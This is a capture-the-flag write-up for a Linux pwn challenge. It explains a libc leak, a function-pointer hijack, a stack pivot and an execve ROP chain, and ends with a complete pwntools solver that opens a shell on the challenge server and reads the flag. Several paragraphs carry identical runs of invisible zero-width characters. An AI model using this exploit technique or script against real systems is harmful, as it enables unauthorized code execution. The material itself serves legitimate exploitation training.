← Back to Writeups
CUSTOMMediumpwn

ints (ret2libc 10)

XESXOR9/2/20264 min read
#pwn#custom#medium#execve_rop#function_pointer_hijack#libc_base_leak_via_proc_maps#stack_pivot_add_rsp#unbounded_index_stack_write#linux

ints (ret2libc 10)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: execve_rop, function_pointer_hijack, libc_base_leak_via_proc_maps, stack_pivot_add_rsp, unbounded_index_stack_write

Summary

Task: NON-PIE x86-64 ELF with a menu loop that writes user qwords into a fixed-size stack array with NO bounds check (unbounded sequential stack write), plus a /proc/self/maps libc leak; an on-stack function pointer is invoked via call rdx. Solution: overwrite the called pointer with an 'add rsp,0x18; ret' stack-pivot gadget to realign and land in a planted execve("/bin/sh",0,0) ROP chain, sidestepping the system() movaps alignment crash and the decoy exit command.

ints (ret2libc 10) — pwn_spbctf

Description

ints — ret2libc 10. nc 109.233.56.90 11635. Author: George Zaytsev (groke). pwn.spbctf.ru. Files: task_simple, libc-2.31.so, ld-2.31.so (Debian glibc 2.31-3).

64-bit x86-64 ELF task_simple: NON-PIE (base 0x400000), NX enabled, NO stack canary, Partial RELRO. Remote pwn — read /flag.txt and POST the flag. The provided libc/ld pin the target to Debian glibc 2.31-3.

Analysis

Reversed functions:

  • read_n @0x401186 — bounded read.
  • readint @0x401201 — atoll of up to 0x1e bytes → signed 64-bit decimal.
  • print @0x401225 — prints idx: %d val: %llx for array[0..9].
  • logic @0x40127b — the menu loop (details below).
  • drop_address @0x401373 — opens /proc/self/maps, read(0x1000), puts(). This leaks the libc base: parse the first /libc-2.31.so mapping start (e.g. 0x7ffff7e05000). Consumed with recvuntil("-> add number").
  • main @0x4013d9. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

logic() layout (verified)

logic keeps a 10-qword array at rsp and a function pointer print at rsp+0x68 (= array index 13). Its frame is 0x88, so the saved return address sits at rsp+0x88 (= index 17).

Menu commands:

  • cmd 1 "add number" — readint() value stored as a qword at [rsp + 8*counter]; the counter is a dword at rsp+0x74, then counter++. There is NO bounds check → arbitrary sequential stack write.
  • cmd 2 "print array" — rdx = [rsp+0x68] (= array[13]), rdi = rsp, then call rdx. Default rdx = print.
  • cmd 3 "exit" — a TROLL: it sets [rsp+0x78] = 0, and the loop continues while [rsp+0x78] == 0. So cmd 3 never exits. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Index / counter map (confirmed by add(123); add(456) → idx0=0x7b, idx1=0x1c8):

AddressMeaning
rsp+8karray[k]
rsp+0x68array[13] = the print function pointer (rdx for call rdx)
rsp+0x74counter dword = HIGH dword of array[14]
rsp+0x78exit-flag = LOW dword of array[15]
rsp+0x88saved RIP = array[17]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Dead-ends ruled out

  1. array[13] = system then cmd 2 → system(rsp) with "/bin/sh" planted. FAILS: at call rdx, rsp % 16 != 0, so do_system hits a movaps on a misaligned stack and crashes.
  2. Overwrite saved RIP (index 17) then "exit" via cmd 3. IMPOSSIBLE in one run: cmd 3 doesn't actually exit (it zeroes the exit-flag), and the monotonic counter plus the single counter-control trick (writing array[14] sets the counter from its high dword → grants only ONE jump) cannot simultaneously place a chain at index 17 and make the exit-flag (index 15) nonzero last. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Hijack the call rdx in cmd 2 with a libc stack-pivot gadget instead of calling system directly.

At call rdx, rsp = orig_rsp - 8. Set array[13] to add rsp,0x18 ; ret (libc_base + 0x34f36):

  • add rsp,0x18 → rsp = orig_rsp + 0x10.
  • ret pops array[2] as the new RIP and continues a ROP chain in array[2..8].

Landing index = (pivot_imm - 8) / 8 = (0x18 - 8)/8 = index 2.

The chain is plain execve("/bin/sh", 0, 0) — no alignment/register constraints, because this libc's execve is mov eax,0x3b; syscall, which sidesteps the system() movaps crash entirely: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

pop_rdi (libc+0x2679e) ; "/bin/sh" (libc+0x18a156)
pop_rsi (libc+0x288df) ; 0
pop_rdx (libc+0xcb28d) ; 0
execve  (libc+0xcb780)

All values are written via cmd 1 (atoll, signed 64-bit decimal); the libc addresses fit in positive int64. Place /bin/sh and the chain at the right indices, set array[13] = pivot, then send cmd 2 to trigger.

Verified locally (docker amd64 + provided ld/libc, id → uid=0) and remotely (interactive shell, cat /flag.txt).

python
#!/usr/bin/env python3
# ints_task_simple solver.
from pwn import *
context.arch='amd64'; context.log_level='info'
HOST,PORT='109.233.56.90',11635
libc=ELF('ints_libc-2.31.so')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io=remote(HOST,PORT)
maps=io.recvuntil(b'-> add number',timeout=8)
base=None
for line in maps.split(b'\n'):
    if b'libc-2.31.so' in line:
        base=int(line.split(b'-')[0],16); break
assert base, "no libc base"
log.success("libc base %#x"%base)

POP_RDI = base+0x2679e
POP_RSI = base+0x288df
POP_RDX = base+0xcb28d
EXECVE  = base+libc.symbols['execve']      # 0xcb780 : mov eax,0x3b; syscall
BINSH   = base+next(libc.search(b'/bin/sh'))
PIVOT   = base+0x34f36                      # add rsp, 0x18 ; ret
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def add(val):
    val &= (1<<64)-1
    io.sendline(b'1')
    io.recvuntil(b'Enter your number:')
    io.sendline(str(val).encode())

# ROP chain placed in array slots; pivot `add rsp,0x18` lands ret at array[2].
chain = {
    2: POP_RDI,
    3: BINSH,
    4: POP_RSI,
    5: 0,
    6: POP_RDX,
    7: 0,
    8: EXECVE,
    13: PIVOT,        # rdx for `call rdx` in cmd2
}
# write array[0..13] sequentially (counter 0->14)
for i in range(14):
    add(chain.get(i, 0))

# trigger: cmd2 -> rdi=&array, call rdx(=PIVOT) -> pivot -> ret into chain@array[2]
io.sendline(b'2')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io.sendline(b'cat /flag.txt; id')
print(io.recvrepeat(3).decode(errors='replace'))
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍